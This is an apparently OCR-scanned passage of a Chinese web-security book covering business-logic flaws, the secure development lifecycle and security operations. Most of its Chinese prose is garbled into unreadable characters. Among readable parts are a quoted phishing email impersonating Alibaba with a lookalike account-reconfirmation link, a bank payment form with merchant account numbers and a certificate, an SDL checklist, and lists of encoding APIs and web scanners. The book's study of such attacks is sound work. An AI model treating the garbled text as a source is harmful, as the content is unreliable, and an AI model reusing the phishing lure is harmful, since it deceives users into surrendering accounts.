K=MIE T S HE R, A TR A B e ? LB e ax i) AT, WS

BORNE S AT L A R A 58, AR ] LB B e il ez dsgi - AL, 2
oo A5 AR B T AL EBEAT B d0iE?

(R T AT I O, AR S — ikt Bt I RO TRLS R AR T, R
Ao P A B T AL I, SRS F DB T AL 1. R A B, AU
HA R P

MRS B K EERT, B Pe—Se AR i ok v e — AN EURLLF T, 2
FERI P AE R o BB R — SR A (E S, BB, BURAEA T S s A N

tetn: Ui s, M S Gl (el s B e el A AR,
ESUMBR T SCEAT o IXLAE R LIRS i “ 57, DRDA IS5 EBE A, mlB e A
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DI - ANMRSZ I

CRAEUNIRRR S A vt AN, B S AR, A Rnisi et . Hil
BATARH R ER iR g T %6, HRE AR BUR AR 73 A

16.3 M 2UMOJ#2238Y

WK R 2 ), i FLIBR WA 55 22 4 PR A SR )il K 22 B30I il T W P b 55 22 4 2R3
AL T B AT %

2007 4, (R HARY foE ki i —A> 261

gu A 14 8% L, JMEBRBITAZDEE QQ HEALI “/E45 QQ IKF £ 7 —
WEARF, HEHka TE WiRc, ROEFREERS, REXFRHEAX—HFL, 20
Y0 E BB ISR, FPKE LS QQ A B IE, “WAHLE QQ LIKFIRZFA B, #
LR B IEAE A", 2T 4 B T QQ 5 EAMAKRAI R, “REXAH K QQ &
T, L@RSINEMA LR, HA2 QQ @A, et QQ Lilitis, &
IR K T NS Edm

MG, 2 0BRHET A —/AQQ 5, @it QQ 55& 5 KA, “FAxH TR
FRFT, ZHRILHK 300 TAHELR QQ 5, RARFKBEAIRIFAMB, WAELMHT —3H5."
FHERA R TR, BFH LA 24 DEEL, SHHRARRTE LL, SLERER, 12X
BAWIEFEBRY , RAZT, 2L ESTHILHKI00 T, #LETHELIN “H37,

WS, Ok e AR . Ema sk 4% 16 KR — AT o . K2 H s
ANV Es 224, FERAESESMHCEIF . WA, BAERE, B m. ks n
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From: Alibaba.com [mailto:message-noreply@service.alibaba.com]
Sent: Wednesday, May 18, 2011 1:19 AM

To: editor@alizila.com

Subject: alibaba.com Urgent Account Update

thi& ) Alibaba &A% A HBAH
TEMRBAEE ST, s FH P 21— AN 3 R4 fa ) 3k

Alibaba.com Account service

During our regular scheduled maintenance of our systems, your accountwas flagged for
having along period of inactivity.

For security reasons, inactive acc i
To prevent this from occurring, vo http;_,-_,-'alibaba,gn|ineaccguntacti\.-atign, accountwith the
link provided below heereative.ca

Toaccess your account: SELUREIHE

click here to reconfirm vour account or use the below link

ifthe above link doesntwork click here:

hitpfwww.alibaba.comireconfirmisecuritv/iaccess!

regards

AlibabaTeam
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<form id="ebankPayForm"

name="ebankPayForm" target=" blank" method="post"

action="https://B2C.icbc.com.cn/servlet/ICBCINBSEBusinessServlet" >

<input type="hidden"
<input type="hidden"
<input type="hidden"
<input type="hidden"
<input type="hidden"
<input type="hidden"
<input type="hidden"
<input type="hidden"
<input type="hidden"
<input type="hidden"

name="interfaceName" value="ICBC PERBANK B2C"/>
name="interfaceVersion" value="1.0.0.0"/>
name="orderid" value="507148170"/>
name="amount" value="985000"/>

name="curType" value="001"/>

name="merID" value="4000EC23359695"/>
name="merAcct" value="4000021129200938482"/>
name="verifyJoinFlag" value="0"/>
name="notifyType" value="HS"/>

name="merURL"

value="http://bank.yeepay.com/app-merchant-proxy/neticbcszrecv.action"/>

<input type="hidden"
<input type="hidden"
<input type="hidden"
<input type="hidden"

name="resultType" value="0"/>
name="orderDate" value="20110522205936"/>
name="goodsName" value="H [EEEAZ (" />
name="merSignMsg"

value="fwWXBaBUrgwpxzP50xyZay70bihJrHt 9UkGm9ok JRrHH828Kx8b/1kX8h0dS7wv741lgh3rZybkgSL+
DpBI9F0u24+Pji9CWrGJIeN5Y969d97agv/n802vVp+VhKbFcO0h6yuSQHAHK6dRxFrz4DsdpggAr 72dpUiM2Dgs
zjHCQUKO="/>

<input type="hidden" name="merCert"
value="MIIDBDCCAeygAwIBAgIKYULKEHrkAC49gjANBgkaghkiGIwOBAQUFADA2MRAWHAYDVQQODEXVJIQOJDIE
NvcenBvemFO0ZSBTAWIgQOEXFDASBGNVBAOTC21jYmMuY2 9t LmNuMB4XDTEWMDkyNTA3NTUOM1 oXDTExMTAXMDE
INTk1OVowPzEYMBYGA1UEAXMPeWV1cGF5MDEUZS4 0MDAWMQOwWCwWYDVQOLEWQOMDAWMROWEGYDVQQOKEWtpY2J7
LmNvbS5jbjCBnzANBgkghkiGI9wOBAQEFAAOB)QAWgYKCgYEALILE1UbpYQd2bW87+hzo/3FINSABM30CVU4V] 8
rYN7g499YwXJItCmvXIpKGHzpsygEvrwDsSEWQp2rOFIOnSAygadVyyVbmFnx3dkiKFpAcobpi+G2Y¥vtaxsoI8o
I0ZpBzytRIRDY3WSZGOmKw3ty5UlbAINIugJAREcMUYGvQ7jsCAWEARAOB] JCB1zAfBgNVHSMEGDAWGRT5yEX
DUSMmNJGTL50038hTPfZvnjBIBgNVHRSEQjBAMD6gPKAG6PpDgwNJEQMA4GALUEAXMHY 3JsMzAzMTEMMAOGALUE
CxMDY 3JsMRQWEgYDVQQKEwtpY2JjLmNvbS5jbjAdBgNVHQ4AEFgQUI+mwl5mh7sI81gNXua2rcv/nevOwDQYJK
0ZIhvcNAQEFBQADggEBALaJS50yxbHP8LsWiyvi//ijJREA1IA60J35hEy6Yn4Y8w7DZwMOH1117txGOKEGPYU7p
AQ6A91Q+WMNMCBMrLOywslosi2JQIwZncs7/A1sCXEGLl)i6wesAUAMCNIAfV2+nPmr2SMpkhak00IcOZ1ZHgN
PeTBcTIuPmR3tH3UAJNCS5vaz+7/Y+veEXa2PDia//TT2GCsaV3UP3mfdHFzGKVYIIZJ0gGIJFN4nBDgFlaYXgG
BawfJwUVDIIJBnv94K9kjd4u7saclEicl3AwkPJdrhWY/Y5SZuullpckfiserbSoGEKDCQ30D9HOSVFIMpJi7n
kwP56xhrJW8mQ1UggGAgGE=""/>

<input type="hidden" name="remarkl" value="0"/>

<input type="hidden" name="remark2" value="0"/>

</form>

XA L HRSAT L2
action=https://B2C.icbc.com.cn/servlet/ICBCINBSEBusinessServlet

R —ANECSE I L REAT AR . R, XA LR B AR !

HAERXARAA R LA KRS L

name="orderid" value="507148170" IJH#%5

name="merID" value="4000EC23359695" Fi/'4nil

name="merAcct" value="4000021129200938482" R/ "HriH

name="merURL" value=http://bank.yeepay.com/app-merchant-proxy/neticbcszrecv.action

JURL
name="goodsName" value="H[HECEARAME" HmBHK
TP URL I LAE B, XV HSbs 2SR T yeepay.com, [ LN B Ct A
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Your data is never given Site gives your data to
to advertisers. advertisers.

Data may be given to law

Data is given to law enforcement even when
enforcement only when legal process is not
legal process is followed. followed.
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LTFREA o I WERTT BB R, T AR o AL I Beas gk AR 2102042 bug, &
A2 4 bug HORHHAERSMNITT RN 18] R I T A8 ANREBR AR IR L8 22 A, 4 T
RENIRSEEA (o] AT R S W], 2 BA M IR I TR) S A

DLEAE R B ST A GRS R 1) 2 At SR, P AR ORI 0 TR If ], 3o 4815 H 2 41
AEBMINE S IFAE AT R

HEN7S: CRITERNZE bug, BRIEFRREZEMRE,

N T SRS AES I H LS 2 A AR, T RLZER G RENIT A BB B S0 B A B
BB BIBNRT LA B, IR E R AT oK. W, IUH g A 25 5e ) L, T
RABATRE S5 TRy A, 5 W 2 A AR o SRASE REF B AR TR (K AR i,
TR R AETRIR .

PAEIXONZHEN, S AT A m] h St SDL (11— 282000 5505 TR 2 w6 7
d ARG AR B AR R . K2 B0 AR EORAE RN ] A AT, TAIIEAE SDL IS it
EHEHB OO,

FETLIRR A W], 7 b TR A i A SR SO AR 3 SR Bes BEvkBBe. TFAR BL
MR Bee T R X LA AR BB, S8 — 228 A SDL S /53R T H

17.4 TFHRDWTERITITER

AR T B S B BRI F (VDR B TR BT BORHRAE ST F 0 F A AT
S 1%

GEFRINBL, 2 TR B el h B0 e 10 52 AR 22 SRR 1205, R
TR AT AL P R Thig, A R T (10
DR, AR ? R IR, S RS 0 1% A

TIERIRE, (ERAY, <RI 15 “ 2 RIhiE” WA R RIS, <24
TR R R SR 05 AT, HEATBCTE . R R T
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M “ZARIDIRe”, WHRAE™ b B AR T R LB L B E 224, AN BRI T B R 2 A
e

Eeande “ R Bl IR R DIRE: Za b, XL D ReThe; HEL
FEARYSEIL EAF AR, WIRTRERC— AL DI RE

EFERHTE B, AL H 3, P2 RS PR ZER T T VR, UL T 7= s st R
BN, FRLS AR I . WEMEINEK KA, —10 checklist 1] LAAE—EF2E LA BhRIFAT
N L4 B 5K Lenny Zeltser 25 H )43 checklist, LA 2%,

#1: BUSINESS REQUIREMENTS

Business Model

What is the application’s primary business purpose?

How will the application make money?

What are the planned business milestones for developing or improving the application?
How is the application marketed?

What key benefits does the application offer users?

What business continuity provisions have been defined for the application?

What geographic areas does the application service?

Data Essentials

What data does the application receive, produce, and process?

How can the data be classified into categories according to its sensitivity?

How might an attacker benefit from capturing or modifying the data?

What data backup and retention requirements have been defined for the application?
End - Users

Who are the application’s end - users?

How do the end - users interact with the application?

What security expectations do the end - users have?



F1TE IR (SDL) 411

Partners

Which third - parties supply data to the application?

Which third - parties receive data from the applications?
Which third - parties process the application’s data?

What mechanisms are used to share data with third - parties besides the application itself?
What security requirements do the partners impose?
Administrators

Who has administrative capabilities in the application?

What administrative capabilities does the application offer?
Regulations

In what industries does the application operate?

What security - related regulations apply?

What auditing and compliance regulations apply?

#2: INRASTRUCTURE REQUIREMENTS

Network

What details regarding routing, switching, firewalling, and load - balancing have been defined?
What network design supports the application?

What core network devices support the application?

What network performance requirements exist?

What private and public network links support the application?
Systems

What operating systems support the application?

What hardware requirements have been defined?

What details regarding required OS components and lock - down needs have been defined?
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Infrastructure Monitoring

What network and system performance monitoring requirements have been defined?
What mechanisms exist to detect malicious code or compromised application components?
What network and system security monitoring requirements have been defined?
Virtualization and Externalization

What aspects of the application lend themselves to virtualization?

What virtualization requirements have been defined for the application?

What aspects of the product may or may not be hosted via the cloud computing model?
#3: APPLICATION REQUIREMENTS

Environment

What frameworks and programming languages have been used to create the application?
What process, code, or infrastructure dependencies have been defined for the application?
What databases and application servers support the application?

Data Processing

What data entry paths does the application support?

What data output paths does the application support?

How does data flow across the application’s internal components?

What data input validation requirements have been defined?

What data does the application store and how?

What data is or may need to be encrypted and what key management requirements have been

defined?
What capabilities exist to detect the leakage of sensitive data?
What encryption requirements have been defined for data in transit over WAN and LAN links?
Access

What user identification and authentication requirements have been defined?
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What session management requirements have been defined?

What access requirements have been defined for URI and Service calls?
What user authorization requirements have been defined?

How are user identities maintained throughout transaction calls?

What user access restrictions have been defined?

What user privilege levels does the application support?

Application Monitoring

What application performance monitoring requirements have been defined?
What application security monitoring requirements have been defined?
What application error handling and logging requirements have been defined?
How are audit and debug logs accessed, stored, and secured?

What application auditing requirements have been defined?

Application Design

How many logical tiers group the application's components?

How is intermediate or in process data stored in the application components’ memory and in

cache?
What application design review practices have been defined and executed?
What staging, testing, and Quality Assurance requirements have been defined?
#4: SECURITY PROGRAM REQUIREMENTS
Operations
What access to system and network administrators have to the application’s sensitive data?
What security incident requirements have been defined?
What physical controls restrict access to the application’s components and data?
What is the process for granting access to the environment hosting the application?

What is the process for identifying and addressing vulnerabilities in network and system
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components?
How do administrators access production infrastructure to manage it?
What is the process for identifying and addressing vulnerabilities in the application?
Change Management
What mechanisms exist to detect violations of change management practices?
How are changes to the infrastructure controlled?
How are changes to the code controlled?
How is code deployed to production?
Software Development
How do developers assist with troubleshooting and debugging the application?
What requirements have been defined for controlling access to the applications source code?
What data is available to developers for testing?
What secure coding processes have been established?
Corporate
Which personnel oversees security processes and requirements related to the application?
What employee initiation and termination procedures have been defined?

What controls exist to protect a compromised in the corporate environment from affecting

production?
What security governance requirements have been defined?
What security training do developers and administrators undergo?
What application requirements impose the need to enforce the principle of separation of duties?

What corporate security program requirements have been defined?

BEAh, AR H SR MU B B, A TR PR A TS . Wk
17, WA EA PP IR LS = T A e e L e . RBEE, ANRENB=ZT754
THGEIT . WERPPAS R A B =I5 A AAAE AR, NN e, B Al Y Ay ORI X
Foft RS o
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FET RO S BB UGS M2 FEPE, {0 checklist JF AN fEAE a BT A1 DL
checklist JFARJT REM), FESCRRAEIIN, 020 (0 SRR 224 TREI A 2850 50 I T o

AR S EGRS A AT AR S AN RGO AR AR RT3, R g4
J7 R o IXFEAE review JiH (M T SRABCTHING, FRAE I H W & KB U FE R, v AR
] IS AL R B E

17.5 FFEMEZ
TR B 224 TR AT . KR “ 224 R 4IRS %35 SR, 705K 2T,
S AL 4 M A R LR 24 A7 SR AT ST L 264, b ] “ 2e 4 Thfg .

FHERXA A AR, BICZIHraT e DL, JF AR ESROEaT AT i eIy % AEAH
H RANERDE T MO RIS B AN T i ARG I EE 225, W A — & M Tk A
G IFRIEE I 24205 5 o

17.5.1 RHEZE=rIREL

OWASP [ JT 35 H OWASP ESAPIE Ny 22 &b (SBT3 % . ISR & wa e
PRSI — AN S Ui 22 R, WU /2 5% OWASP ESAPI 523 77 20,

ESAPI H BT £ 0 2 Ff AN A Web i 5 HIRCAS, i SCUA Java WA B 563
Category:OWASP Enterprise Security API

Downloads | Here's what [ did with ESAPI | Glossary | Jawa EE | MET | ClassicASP | PHP | ColdFusion/CFML | Python | JawaScript
Objective © | Force.com | Ruby | Swingset | ESAPIC | ESAPI C++ | Project Details

OWASP ESAPI B =
R4 Java R4 ESAPI ] Packages %113, M AIELT fi# ESAPL SEHL Dy 6E

ESAPI 2.0.1 API

Packages

The ESAPI interfaces and Exception classes model the most important
org.owasp.esapi

security functions to enterprise web applications.

This package contains codecs for application layer encoding/escaping
org.owasp.esapi.codecs

schemes that can be used for both canonicalization and output encoding.

This package contains ESAPI cryptography-related classes used
org.owasp.esapi.crypto

throughout ESAPI.

2 https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security API
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Packages

) A set of exception classes designed to model the error conditions that
org.owasp.esapi.errors o ) o )
frequently arise in enterprise web applications and web services.

This package contains several filters that demonstrate ways of using the
org.owasp.esapi.filters
ESAPI security controls in front of your application.

This package contains reference implementations of the ESAPI
org.owasp.esapi.reference )
interfaces.

org.owasp.esapi.reference.accesscontrol

org.owasp.esapi.reference.accesscontrol.policyloader

This package contains the reference implementation for some of the
org.owasp.esapi.reference.crypto
ESAPI cryptography-related classes used throughout ESAPI.

org.owasp.esapi.reference.validation This package contains data format-specific validation rule functions.

This package contains sample JSP tags that demonstrate how to use the
org.owasp.esapi.tags
ESAPI functions to protect an application from within a JSP page.

This package contains ESAPI utility classes used throughout the
org.owasp.esapi.util
reference implementation of ESAPI but may also be directly useful.

org.owasp.esapi.waf This package contains the ESAPI Web Application Firewall (WAF).

) ) This package contains the Action objects that are executed after a Rule
org.owasp.esapi.waf.actions
subclass executes.

This package contains the both the configuration object model and the
org.owasp.esapi.waf.configuration
utility class to create that object model from an existing policy file.

This package contains all HTTP-related classes used internally by the
org.owasp.esapi.waf.internal
WAF for the implementation of its rules.

This package contains all of the Rule subclasses that correspond to
org.owasp.esapi.waf.rules
policy file entries.

£ “Web HEQL 224" —FHhiRE], RZZEDRELBITT RIS, 25 KRBT 5
MIF R TR, oM EAHE 2% .

FETFRBYBE, 3] DA A de e SR e IR B IR RINE, Ik e AR 7
EEJITRIIET, I RE IR MIE.

ELUn7E “Web HEZR2e4y” —dh @23, ZEXtH XSS Biint, TH3igmil g A & ik
AT o O REFRATTAEAR AR TP S T 22 42 %%

XMLIwRSHIH, HSHAT XML Encodefirth
#SXML ($xml)

JsHmidint, KEPirgavascript Encodefii
#SJS ($3s)

SCLE QA T [RIAE D, DA TR B St 1 2 4 ph MU
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Encoder Methods

Encoder Class See Also Send Feedback

Microsoft.Security.Application.Encoder

The Encoder type exposes the following members.

- Methods
Name Description
s CssEncode Encodes input strings used in Cascading Style Sheet (CSS) elements.
S HtmlAttributeEncode Encodes input strings for use in HTML attributes.
s HtmlEncode Overloaded.
S JavaScriptEncode Overloaded.
¢S LdapEncode Encodes input strings used in Lightweight Directory Access Protocal (LDAP) search queries.
S UrlEncode Overloaded.
S Vit criptEncode  Encodes t strings for use in Visual Basic Script.
s el t strings for use in XML attributes.
S XmlEncode Encodes input strings for use in XML.

TSR A 122 2 R 2K

RBEPLTEIT R L, RIHER G AT R M . AU B, wr Lo A
SRR AU A R R A T e R B A B AU AT LA AR 4
Mo XA R A] DL T A A

KPR R AR AT L . A W AR TT A 1 A SISk, Bl B e SC—Mn i
HTML SR, XA R ST R A 24 o 224 TRENA S XA AR, 0
i B BT AT (ACRESIZ A, R R EOR IR IR TR AR )

BRZEFTRENTTEMET, EEMERETRE TH. ZFEADGE N 7T A#H
5 A A, R AR 2 A TR T

17.5.2 REBZLEL£HITITH

WL SR d T TR, AR S AT H A R T IE R . X MO A iR R
(¥

HE, BT A S AN R R, EEAREAT A e B 3 A SO e 1 L
I AR o T R B R K eval R, - [F]39) o 2500 FH AR I A A 2388 2 TR HE

F, R 7 2R IOHEZ, AR o o T B ARAE R s Z 0 HESR (RS, AT A
KB (R R AN o

AR A BT TR 0 b BB, FBIPrA W RER T AN, AR5 R AR B 1Y
GO, AA R RS2 ERIEr R (U eval(). XM LR ok Kol T 7 2 )
SO, AEIR AT 1R o

HRNE B HEAE R 1 A A s vk TR, AU T RIS RVMR T EN TR, T
BRIV T 283 IR Fi i T H

Name Type Description
BOON academic A model checker that targets buffer-overflow vulnerabilities in C code.
Bugscam open source Checks for potentially dangerous function calls in binary executable code.
Bugscan commercial Checks for potentially dangerous function calls in binary executable code.
CodeAssure commercial General-purpose security scanners for many programming languages.
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Name Type Description
CodeSonar commercial Checks for vulnerabilities and other defects in C and C++.
CodeSpy open source Security scanner for Java.
CovertyPrevent commercial C/C++ bug checker and security scanner.
Cqual academic C Data-flow analyzer using type/taint analysis. Requires some program annotations.
DevPartner . . . )
SecurityChecker commercial Security scanner for C# and Visual Basic
flawfinder open source Security scanner for C code.
Fortify
Tools commercial General-purpose security scanner for C, C++, and Java.
inForce commercial Checks for vulnerabilities and other defects in C, C++, and Java.
its4 freeware Checks for potentially dangerous function calls in C code.
MOPS academic Checks for vulnerabilities involving sequences of function calls in C code.
PrexisEngine commercial Security scanner for C/C++ and Java/JSP.
Pscan open source Checks for potentially dangerous function calls in C code.
RATS open source Checks for potentially dangerous function calls in C code.
smatch open source C/C++ bug checker and security scanner.
splint open source Checks C code for potential vulnerabilities and other dangerous programming practices.

PRSI B SR T EER A, 1 B B RAD B T AR 5 BERE 2 I, IR AT
T INENE ?

B b, XTI w R, 584 T LUAREE T A RETE A E AR o TR A0 AR,
FEEERENHEEE RS, MEKEITKEREET T ITRME.

RFEAHE R R AU AL o7 X wE, Fet o AU R AR IT AN [ 1]
T AR AE G S5 I AT LA oy T8 v (Bl . ek, WERTF ARG (% 45 S BT
)RR ST R AT T AN, 7 PR AR At N % A 22 42T o

RLEZRIGNS T Ll Web TFAC4 32 M0 EIRR 2 ®I R UG, BAT m AT AL

17.6 MRXPYER

DB BOE 7 i R AT BT ) B — BB AEIEBY BT ZER™ W4T 78 70 i 22 4k, JAiE
it KT BT BUR % D RE R SR T H AR, IR IEAETT A BOR LI BITAT 4 42 ) il 2
AT .

AN AZ ST TAUS T A AE . “ 2”7 AT AR o e, BAAEM
AL AT AR B2, I AR B VR E DU IUITAT [ A, i i 22 4 P n]
DO i) A A3 B AE s ey —SLi@ I 22 4k, T DU PR A 245

2 AR, — B A B S IR TS s Ay 5

H A LA s PEAIR H K, AT RLE I “Web 224888 7 S0 H 8™ St A T4 o

H AT Web &4 168541 %+ “XSS”. “SQL Injection”. “Open Redirect”. “PHP File Include” %%
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I FR RGN 28 PR ety o 3K e PR A T ] A D00 725 T2 R AT R [0 45 SR 7 5 R ARFAIE

1% F “CSRE” “HALYTI) 7y “3CPF EAR” S50, HIXECLE S ALl f ek . X
s A IX S il v S RGEE AR B0V 4518, MRS T AN H S 5 i . P 2K
] (KA 00 B 22 1 M S T sl IR S A

Web W #2240 T2 — MO A8 Web 22414 8% . ARG MR 22 A0 i FH 201
fuzzing WA CBOHIIIAD, 75 Web 224Nk LU D W o WIERHFRRE FoRii, Web F4E 1]
LUF i —Fh fuzzing.

PLF5H) Web ‘21488, FMKIFCEA “IBM Rational Appscan”. “Weblnspect”.
“Acunetix WVS” %5; fER A, WAZ R, el “w3af”, “skipfish” 5. FHH#
MITERE DR ISR RS B — DR A LTS IObRiE, 3 A R4 25 1) 0
Fedllat, mr Ak ol & b AR o RIS, e BAS 2% R R IR — 0 A T PRI
DA KA [FAT R4S 225

W3AF

Cenzic Hailstorm Professional
Nessus
AunetixWVS(Commercial Edition)
kipFish
Sandcat CS
Sandcat Pro
NTOSpider
Sandcat Free Edition
arachni
Wapitj
Jsky(Commercial Edition)
Vega |
Netsparker(Commercia_Edition

Burp Suite Professional

Grendel Scan
ZA

| ——]
PowerFuzzer =
ParosPro [
Andiparos
Watobo |
Uber Web Security Scanner —————==—m
Paros Proxy [===————=—m
Oedipus [
JSKY Free Edition [
WebSecurify ===
Grabber

Web_Cruiser Free Edition
Web Cruiser Enterprise Edition
ProxyStrike

iScan

Xcobra

‘WebScarab

Safe3wv:

Acunetix WVS Free Edition
XSSploit

XSSer

WSTool
VulnDetector
sqlmap |
SQLiX
Secubat
Priamos
openAcunetix

MiniMySglator
Gamia
Damn Small SOLi Scanner(DSS;
X

S
Web Injection Scanner(WI )

ScreamingCSS
Scrawler
NoSialker 2009 Freo Edii

LoverBoy

o A
[

10 15 20 25 30

W UL Web 22 21l AR A B
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skipfish® ;& Google fiff FH ) Web ¢ 411#i%%, Google JF it T HIFAHS:

Scanner version: 1.78b Scandate:  Sun Nov 2123140:36 2010
Random seed:  oxicaigooa  Totaltime: ohr gmin 8sec 467 ms

Problems with this scan? Click here for advice

Crawl results - click to expand:

"ﬁ) = http://www.example.com/ @4 ©6 467
¥®  Code: 200, length: 596, declared: text/html, detected: application/xhtmlxml, charset: UTF-8 [ show trace =
@ New 404 signature seen
1. Code: 404, length: 2vo, declarsd: text/html, charset: iso-8850-1 [ show trace = ]
© New 'Server' header value seen

th: 506, declared: text/html, charset: UTE-8 [ show trace +]

1
th: 272, declared: text/html, detected: application/xhtml-xml, charset: iso-8859-1 [ show trace +]

charset: iso-8850-1 [ show trace +]

charset: iso-8859-1 [ show trace +]

iso-8850-1 [ show trace + ]

©3
w €
h: 281, declared: text/html, detected: application/xhtml+xml, charset: iso-8850-1 [ show trace +]
w @1
=] Code: 200, length: 19779, declared: text/plain, detected: text/plain, charset: UTF-8 [ show trace +]
< 4+ icons @4 @2 €57
Code: 200, length: 30015, declared: text/html, detected: application/xhtmlexml, charset: 180-8855-1 [ show trace = ]
index.html
—| Code: 200, length: 596, declared: text/html, charset: UTE-8 [ show trace + ]

Document type overview - click to expand:

.- application/xhtml+xml (5)

Google [1 skipfish $14fi 45 J L1

skipfish FIVERENR 0TS, TIPS, HAT Google MBI R BILERT, KX T
REUE RIS 1) 2 R, 52— A ZUO0T R B AL

ZANIRGE AR, 75 AR AR S o AR AR A R S .
AR AT RE AT AE VARG I, DA iR o o B2 1L 2 4 TREI A B 8 Ak o B A (131 40
W, A TSR, HIR 0 2 i .

AR Th R B 1), TR IR TRRIMREAT B . IIREA e G, PRkt
APz Ak, AR B AMS DL o e mT W, AET0 H 91300 55 00 H 22 BEREA T 78 70 vk, TR
RHAM N I oo/ k7N 0] A TP o G X (3 28 QIO 1

17.7 NG

ARFEYER T WA AETH IF AR R e sl SDL (%2 A TF R AR ). SDL A& AT AE 20 ] A
CREHERl B, AR B DRSS, SDL SJUBRA 2y S, s DM EE AR

3 http://code.google.com/p/skipfish/
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TP 2 R ANF AL GE A 2 w) B ST i AR DR S5 I s DRI ™ ol O e D i 46
FRZ BT K, X4y SDL ISk T — i IRIHERE .

SDL ity ZEM\ EAE RS, AMREEE, ek “ N7 iHE. SCii SDL i ZEAG 2 24 w]
FARFSING AT 30RE, IR e A A ATTARE . TR TAR T HRIs 2] H
(1. SDL SEHiff s 1, 5ok A gUs BRI SCR ARG R .



WE, A “ =R, BOEE, wax FARY, SiRA R REEN. ©e
JrEB A, AMER R ELS, MR A S A K.

B “ M e it i —FerP 25, g hut M RFE IR ﬁ“ﬁé@;”%ﬁm
HE AR “RREEIIERE” AT K. MRl 4, FREMKEE “2Ais B RORFEFTRA
g RS .

18.1 iBEZ==izEike¥k

TR A wl AT R B e E W 2 RIS 2 T F R E, Aberdeen Group $23 T —4)
i%: Find and Fix, Defend and Defer, Secure at the Source.

IT Security Team

Application Development Team

Analysis Diesign Implementation Testing Release Deployment and Ongoing Suppert

“Find and Fix” Application Vulnerability Scanning, Penenration Testing
“Defend and Defer” Web Application Firewalls
e ) . “Secure
Secure Software Development Lifecycle at the 5. .
2 A TARIHEZL R

AN AT RS, A “Find and Fix” (b RE. @R BEIEK. 1R
e oA 3, TR ARG S Al AR5 PFRE I Bt 2y &6, St 4 %,
B AR PRI L ) L

MENZAI FR 48 Web N B k3%, [ DDOS 4 55 Me—Le i ik 1 TAE, Xt R



UEZE AT DI — ANy EATTRERTVE R 8 T ASR, Bl e ik ARG, PR b e 5
ALER ), IX LA LA, 2 — “Defend and Defer” [t #E.

# )5 “Secure at the Source” 5N “ Z 4 FF KR (SDL)”, & 58 WU 3k FRAK 22 45 AU
PR e .

X=HMRAEILAMY, 2 SDL HMBLZERIN, W DL FPIERI . 224 PP s TAE
R ) RN A e T AR AGHIN . WAF S5 R ST, AT LAAE 224 S A 28 PR o I TRJEA T i B
AT B TR Bt WER = I, AR RS 2 7] I 2 R BGPTSRz AL

ZABE T EREMER . ania B Bk L. iR, A A s sk
I 7L 10y 5 AL Rl S (KA 55

PR —MREHERE (E “R 2N —F o QR X A0, ]
ACEIGFEARUEAE T — 21 I 248 PR G A 2 PR TAR 20T SSH. 3 T I E] Internet, B0 2
FANIUH SO T A B AL F Rl 2 1o XA P B A 22 B N S T REST A i
e LR ) 2 Ak . BORE B T AR MR AN T RE Y, A S 2 aie AT Ak
DL R, JA e s e B 2, A RELEIRATIBC0 o XA A, R % 4z 7 2K “ Find 7
AR

“Fix” W LAED ARl — PO BT SR 55 L T i, 5 BB AN SRRl
e AR AN, B 0day Il A, ST RN IX A8 T ARG S B
AR, AT TR 5T,

SDL 13 T Al 1T A R 4B 0 — 548, {ELph T L5 Beph TG A 56, okt
TR

e A E T, DRSS KM ih. e THRATAOE. A% 4™ g ik
dh, ATHIWZIFR TR, BREZeRBOLHE A Bk e TR, Rege a4
KERHE, XL H 2z ER AR A E R . W 2 AR, AT Bl 4T
IIHT AL IR 22 A HUIR, T AR 22 A A — Se T, USRIt S H R .

&Rz HE 2R R RN R TA IR LA SOC (Security Operation Center ).
AL SOC W LS 22 4 ia B KA H 2 H bR

18.2 JwAEBkNRIE

IR ANARE, AR “Fix” W BRI P . A RBACK, YA
B, T AR AR 7 U AR R R ES A EBOR T U, IR Tt
FHNE R A A 2 AR, T L SETA AR T RE 2 tR L 288, PrLA@Esr > “Uwii B bt
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27 DUORAIE IR TR 2 A M A AT e A AT e 2401

B LI ) R TR R 25 T R BN G IRIB R B3 2 S imt, —HaFFHE . XA 24T
0TI BB FIIAT TT A o R B, 2Rt AHIX R n) AN ERR 2R, R TF A A B —
R HAT bug EELE R, LG bugtracker 55, TN 22 YR THAE S bug $#E48F] bugtracker
o BOA TT R A BA R —ANBIAT 4D bug 1 TAE, SigfatRIse. BRivr2 KR H
o Wit A B2 AT ), 7 bug HRas e XRALN security, [AINIEE T bug FIS SR .

55317 2011-07-29 Not modified SimplexML Bug Open 5.3.6 OSX 10.6.8 SimplexXML loses DTD declaration on
edit) 11:44 UTC related simplexrmnl load file

55307 2011-07-28 Mot modified QpenSsL related Doc Open (Sa5E ubuntu linux openssl pkes? werify - detached process failure
edit’ 07:05 UTC

55303 2011-07-27 2011-07-27 Class/Object Bug “erified trunk-SWN-2011- Linux zend class unserialize deny does not work

edit) 19:00 UTC 23:58 UTC  related

07-27 (SWM)
General Issu 3.7RC3

5.3.7RC3

Linux Directorylterator, parent:: construct(} and

2011-0 SPL related Assigned 5.4.0alpha2

edit’ 15:36 UTC 08:52 UTC \LogicException
55288 2011-07-27 2011-08-15 Cnline Doc Req ©Cpen Irrelevant rating of anonymous users
edit) 1403 UTC 19:32 UTC  Editor problem
55294 2011-07-27 Mot modified DOM XML Bug ©pen trunk-Swh-2011-  Linux DOoMDocument: limporthode shifts namespace:
edit 12:35 UTC related 07-27 (snap) when "default" namespace exists
55293 2011-07-27 2011-07-27 Arrays related Bug ©Open 5.3.7RC3 wWindows XP SP3 ArrayObject doesn't pass use offsetSet()
fadith 12-N0a 11T 2011 T
-/ bugtracker 13 &

Btz Ab, LR AT IR AEAMS AR, AN T KA, SR BRI R W] DR,
RBPG DUN AT A o 0 G B U S A, A T A SEBLS S AR AR e s Al T e i, A7
IS Akt A7 T AT A B i) ALK 2 4 TR TR BE BEMF I A BT, IR e 3 BUB AN 7 AL SRR

PRIEEAE T AN T BT S, T 56 B el e 4 T REIT IR REAT 204, AR5 TR A [ A —
EHIEBATTE, Il 24 TR review #b T IARRS, d5)5 A RER AT k.

X Az g IR, LRI B ANRRE, R RS X L

(A) EILRMP bugtracker KIRTABRENLH], I 0w IR SRR B EFMEL;

(B) BIIWAAHHLE, HERFR—EREBHTR, R review #p T ARSI
(O X BLHIMIRET I, AT RREMEDL.

MAFAEL AT VAR, A A LK — MR Ik G Il i, 22
A AR DY o IR TSR PR IR IR T A, AT LU RIS R B R
GEARAEAT 2T, R AR B -
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B IR R 45 Nagios.

Nagios’ Logged in as: nagiosadmin
X1"

system ok QOO OGO Logout
Home  Views  Dashboards  Reports  Configure  Help  Admin = I
- r =
¥ pashboard Teols -
- ©
fdd New Dashos
